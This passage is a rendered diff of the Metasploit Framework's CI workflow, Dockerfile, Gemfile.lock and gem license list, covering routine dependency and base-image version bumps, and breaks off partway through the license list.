./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -33,7 +33,7 @@ jobs:
|
||||
name: Docker Build
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: docker-compose build
|
||||
run: |
|
||||
@@ -67,7 +67,7 @@ jobs:
|
||||
- '3.0'
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3.0-preview1'
|
||||
- '3.3.0-preview3'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
@@ -76,7 +76,7 @@ jobs:
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
@@ -93,7 +93,7 @@ jobs:
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
|
||||
+16
-5
@@ -1,7 +1,8 @@
|
||||
FROM ruby:3.0.5-alpine3.15 AS builder
|
||||
FROM ruby:3.1.4-alpine3.18 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_FORCE_CLEAN="true"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
@@ -33,8 +34,11 @@ RUN apk add --no-cache \
|
||||
go \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& bundle config $BUNDLER_ARGS \
|
||||
&& bundle config $BUNDLER_CONFIG_ARGS \
|
||||
&& bundle install --jobs=8 \
|
||||
&& if [ "${BUNDLER_FORCE_CLEAN}" == "true" ]; then \
|
||||
bundle clean --force; \
|
||||
fi \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
@@ -49,8 +53,9 @@ RUN mkdir -p $TOOLS_HOME/bin && \
|
||||
cd go/src && \
|
||||
./make.bash
|
||||
|
||||
FROM ruby:3.0.5-alpine3.15
|
||||
FROM ruby:3.1.4-alpine3.18
|
||||
LABEL maintainer="Rapid7"
|
||||
ARG TARGETARCH
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
@@ -62,7 +67,13 @@ RUN addgroup -S $METASPLOIT_GROUP
|
||||
|
||||
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
|
||||
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
|
||||
openssl-dev nasm mingw-w64-gcc
|
||||
openssl-dev nasm
|
||||
RUN\
|
||||
if [ "${TARGETARCH}" = "arm64" ];\
|
||||
then apk add --no-cache gcc musl-dev python3-dev libffi-dev gcompat;\
|
||||
else apk add --no-cache mingw-w64-gcc;\
|
||||
fi
|
||||
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
@@ -52,3 +52,4 @@ group :test do
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
|
||||
+131
-128
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.38)
|
||||
metasploit-framework (6.4.9)
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
@@ -20,7 +20,7 @@ PATH
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday
|
||||
faraday (= 2.7.11)
|
||||
faraday-retry
|
||||
faye-websocket
|
||||
filesize
|
||||
@@ -33,7 +33,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.156)
|
||||
metasploit-payloads (= 2.0.166)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.26)
|
||||
mqtt
|
||||
@@ -60,6 +60,7 @@ PATH
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
reline
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
@@ -80,11 +81,11 @@ PATH
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby-mysql
|
||||
ruby_smb (~> 3.2.0)
|
||||
ruby_smb (~> 3.3.3)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
sqlite3
|
||||
sqlite3 (= 1.6.6)
|
||||
sshkey
|
||||
swagger-blocks
|
||||
thin
|
||||
@@ -103,36 +104,36 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (7.0.8)
|
||||
actionview (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
actionpack (7.0.8.1)
|
||||
actionview (= 7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
actionview (7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activerecord (7.0.8)
|
||||
activemodel (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activesupport (7.0.8)
|
||||
activemodel (7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
activerecord (7.0.8.1)
|
||||
activemodel (= 7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
activesupport (7.0.8.1)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
addressable (2.8.5)
|
||||
addressable (2.8.6)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.23.0)
|
||||
allure-ruby-commons (= 2.23.0)
|
||||
allure-rspec (2.24.3)
|
||||
allure-ruby-commons (= 2.24.3)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.23.0)
|
||||
allure-ruby-commons (2.24.3)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
@@ -140,59 +141,59 @@ GEM
|
||||
arel-helpers (2.14.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.834.0)
|
||||
aws-sdk-core (3.185.1)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-eventstream (1.3.0)
|
||||
aws-partitions (1.915.0)
|
||||
aws-sdk-core (3.192.0)
|
||||
aws-eventstream (~> 1, >= 1.3.0)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sigv4 (~> 1.8)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.411.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-ec2 (1.450.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-ec2instanceconnect (1.34.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-ec2instanceconnect (1.38.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.87.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-iam (1.96.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.72.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-kms (1.79.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.136.0)
|
||||
aws-sdk-core (~> 3, >= 3.181.0)
|
||||
aws-sdk-s3 (1.147.0)
|
||||
aws-sdk-core (~> 3, >= 3.192.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.6)
|
||||
aws-sdk-ssm (1.158.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.8)
|
||||
aws-sdk-ssm (1.166.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.6.0)
|
||||
aws-sigv4 (1.8.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
base64 (0.1.1)
|
||||
bcrypt (3.1.19)
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bigdecimal (3.1.7)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.16.0)
|
||||
bootsnap (1.18.3)
|
||||
msgpack (~> 1.2)
|
||||
bson (4.15.0)
|
||||
bson (5.0.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.2.2)
|
||||
cookiejar (0.3.3)
|
||||
concurrent-ruby (1.2.3)
|
||||
cookiejar (0.3.4)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
date (3.3.3)
|
||||
date (3.3.4)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
dnsruby (1.70.0)
|
||||
diff-lcs (1.5.1)
|
||||
dnsruby (1.72.1)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
domain_name (0.6.20240107)
|
||||
ed25519 (1.3.0)
|
||||
em-http-request (1.1.7)
|
||||
addressable (>= 2.3.4)
|
||||
@@ -204,19 +205,19 @@ GEM
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.12.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.2.1)
|
||||
factory_bot (6.4.6)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
factory_bot_rails (6.4.3)
|
||||
factory_bot (~> 6.4)
|
||||
railties (>= 5.0.0)
|
||||
faker (3.2.1)
|
||||
faker (3.3.1)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.7.11)
|
||||
base64
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.2.0)
|
||||
faraday-retry (2.2.1)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.3)
|
||||
eventmachine (>= 0.12.0)
|
||||
@@ -238,21 +239,21 @@ GEM
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.14.1)
|
||||
i18n (1.14.4)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.6.0)
|
||||
io-console (0.7.2)
|
||||
irb (1.7.4)
|
||||
reline (>= 0.3.6)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.6.3)
|
||||
json (2.7.2)
|
||||
language_server-protocol (3.17.0.3)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.3.1)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.21.3)
|
||||
loofah (2.22.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.12.0)
|
||||
macaddr (1.7.2)
|
||||
@@ -264,7 +265,7 @@ GEM
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.6)
|
||||
metasploit-credential (6.0.9)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -278,7 +279,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.156)
|
||||
metasploit-payloads (2.0.166)
|
||||
metasploit_data_models (6.0.3)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -290,34 +291,35 @@ GEM
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.26)
|
||||
method_source (1.0.0)
|
||||
mime-types (3.5.1)
|
||||
method_source (1.1.0)
|
||||
mime-types (3.5.2)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2023.1003)
|
||||
mini_portile2 (2.8.4)
|
||||
minitest (5.20.0)
|
||||
mime-types-data (3.2024.0305)
|
||||
mini_portile2 (2.8.6)
|
||||
minitest (5.22.3)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.0)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-imap (0.4.0)
|
||||
net-imap (0.4.10)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.18.0)
|
||||
net-protocol (0.2.1)
|
||||
net-ldap (0.19.0)
|
||||
net-protocol (0.2.2)
|
||||
timeout
|
||||
net-smtp (0.4.0)
|
||||
net-smtp (0.5.0)
|
||||
net-protocol
|
||||
net-ssh (7.2.0)
|
||||
net-ssh (7.2.3)
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.9)
|
||||
nio4r (2.7.1)
|
||||
nokogiri (1.14.5)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
nori (2.7.0)
|
||||
bigdecimal
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
@@ -326,31 +328,32 @@ GEM
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.23.0)
|
||||
parser (3.2.2.4)
|
||||
parallel (1.24.0)
|
||||
parser (3.3.0.5)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.11.0)
|
||||
pcaprub (0.13.2)
|
||||
pdf-reader (2.12.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.5.4)
|
||||
pg (1.5.6)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.10.1)
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.3)
|
||||
puma (6.4.0)
|
||||
public_suffix (5.0.5)
|
||||
puma (6.4.2)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.7.1)
|
||||
rack (2.2.8)
|
||||
rack-protection (3.1.0)
|
||||
racc (1.7.3)
|
||||
rack (2.2.9)
|
||||
rack-protection (3.2.0)
|
||||
base64 (>= 0.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-test (2.1.0)
|
||||
rack (>= 1.3)
|
||||
@@ -361,23 +364,23 @@ GEM
|
||||
rails-html-sanitizer (1.6.0)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.8)
|
||||
actionpack (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
railties (7.0.8.1)
|
||||
actionpack (= 7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
zeitwerk (~> 2.5)
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rasn1 (0.12.1)
|
||||
rake (13.2.1)
|
||||
rasn1 (0.13.0)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.1.2)
|
||||
recog (3.1.5)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.8.1)
|
||||
reline (0.3.8)
|
||||
regexp_parser (2.9.0)
|
||||
reline (0.5.2)
|
||||
io-console (~> 0.5)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.15)
|
||||
@@ -388,7 +391,7 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.31)
|
||||
rex-core (0.1.32)
|
||||
rex-encoder (0.1.7)
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -418,63 +421,62 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.54)
|
||||
rex-socket (0.1.57)
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.53)
|
||||
rex-text (0.2.57)
|
||||
rex-zip (0.1.5)
|
||||
rex-text
|
||||
rexml (3.2.6)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.12.0)
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.2)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.3)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.6)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-mocks (3.13.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.3)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (6.1.2)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
railties (>= 6.1)
|
||||
rspec-core (~> 3.12)
|
||||
rspec-expectations (~> 3.12)
|
||||
rspec-mocks (~> 3.12)
|
||||
rspec-support (~> 3.12)
|
||||
rspec-core (~> 3.13)
|
||||
rspec-expectations (~> 3.13)
|
||||
rspec-mocks (~> 3.13)
|
||||
rspec-support (~> 3.13)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.12.1)
|
||||
rubocop (1.56.4)
|
||||
base64 (~> 0.1.1)
|
||||
rspec-support (3.13.1)
|
||||
rubocop (1.63.2)
|
||||
json (~> 2.3)
|
||||
language_server-protocol (>= 3.17.0)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.2.2.3)
|
||||
parser (>= 3.3.0.2)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.28.1, < 2.0)
|
||||
rubocop-ast (>= 1.31.1, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.29.0)
|
||||
parser (>= 3.2.1.0)
|
||||
ruby-macho (4.0.0)
|
||||
rubocop-ast (1.31.2)
|
||||
parser (>= 3.3.0.4)
|
||||
ruby-macho (4.0.1)
|
||||
ruby-mysql (4.1.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.2.5)
|
||||
bindata
|
||||
ruby_smb (3.3.7)
|
||||
bindata (= 2.4.15)
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
rubyntlm
|
||||
@@ -490,10 +492,10 @@ GEM
|
||||
simplecov-html (0.12.3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
sinatra (3.1.0)
|
||||
sinatra (3.2.0)
|
||||
mustermann (~> 3.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.1.0)
|
||||
rack-protection (= 3.2.0)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.6.6)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
@@ -501,19 +503,20 @@ GEM
|
||||
strptime (0.2.5)
|
||||
swagger-blocks (3.0.0)
|
||||
systemu (2.6.5)
|
||||
test-prof (1.2.3)
|
||||
test-prof (1.3.2)
|
||||
thin (1.8.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.2)
|
||||
thor (1.3.1)
|
||||
tilt (2.3.0)
|
||||
timecop (0.9.8)
|
||||
timeout (0.4.0)
|
||||
ttfunk (1.7.0)
|
||||
timeout (0.4.1)
|
||||
ttfunk (1.8.0)
|
||||
bigdecimal (~> 3.1)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
tzinfo-data (1.2023.3)
|
||||
tzinfo-data (1.2024.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
@@ -544,8 +547,8 @@ GEM
|
||||
activesupport (>= 4.2, < 8.0)
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.34)
|
||||
zeitwerk (2.6.12)
|
||||
yard (0.9.36)
|
||||
zeitwerk (2.6.13)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+121
-118
@@ -1,59 +1,61 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 7.0.5, MIT
|
||||
actionview, 7.0.5, MIT
|
||||
activemodel, 7.0.5, MIT
|
||||
activerecord, 7.0.5, MIT
|
||||
activesupport, 7.0.5, MIT
|
||||
addressable, 2.8.4, "Apache 2.0"
|
||||
actionpack, 7.0.8.1, MIT
|
||||
actionview, 7.0.8.1, MIT
|
||||
activemodel, 7.0.8.1, MIT
|
||||
activerecord, 7.0.8.1, MIT
|
||||
activesupport, 7.0.8.1, MIT
|
||||
addressable, 2.8.6, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
allure-rspec, 2.22.0, "Apache 2.0"
|
||||
allure-ruby-commons, 2.22.0, "Apache 2.0"
|
||||
allure-rspec, 2.24.3, "Apache 2.0"
|
||||
allure-ruby-commons, 2.24.3, "Apache 2.0"
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.776.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.174.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.382.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.27.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.79.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.66.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.123.1, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.151.0, "Apache 2.0"
|
||||
aws-sigv4, 1.5.2, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
aws-eventstream, 1.3.0, "Apache 2.0"
|
||||
aws-partitions, 1.915.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.192.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.450.0, "Apache 2.0"
|
||||
aws-sdk-ec2instanceconnect, 1.38.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.96.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.79.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.147.0, "Apache 2.0"
|
||||
aws-sdk-ssm, 1.166.0, "Apache 2.0"
|
||||
aws-sigv4, 1.8.0, "Apache 2.0"
|
||||
base64, 0.2.0, "ruby, Simplified BSD"
|
||||
bcrypt, 3.1.20, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bigdecimal, 3.1.7, "ruby, Simplified BSD"
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
bootsnap, 1.18.3, MIT
|
||||
bson, 5.0.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
concurrent-ruby, 1.2.3, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.3.3, "ruby, Simplified BSD"
|
||||
date, 3.3.4, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.70.0, "Apache 2.0"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.72.1, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
domain_name, 0.6.20240107, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
ed25519, 1.3.0, MIT
|
||||
em-http-request, 1.1.7, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.2.0, MIT
|
||||
faraday, 2.7.6, MIT
|
||||
factory_bot, 6.4.6, MIT
|
||||
factory_bot_rails, 6.4.3, MIT
|
||||
faker, 3.3.1, MIT
|
||||
faraday, 2.7.11, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.2.0, MIT
|
||||
faye-websocket, 0.11.2, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
faraday-retry, 2.2.1, MIT
|
||||
faye-websocket, 0.11.3, "Apache 2.0"
|
||||
ffi, 1.16.3, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
gssapi, 1.3.1, MIT
|
||||
@@ -64,146 +66,147 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
http-cookie, 1.0.5, MIT
|
||||
http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.14.1, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
irb, 1.7.0, "ruby, Simplified BSD"
|
||||
i18n, 1.14.4, MIT
|
||||
io-console, 0.7.2, "ruby, Simplified BSD"
|
||||
irb, 1.7.4, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
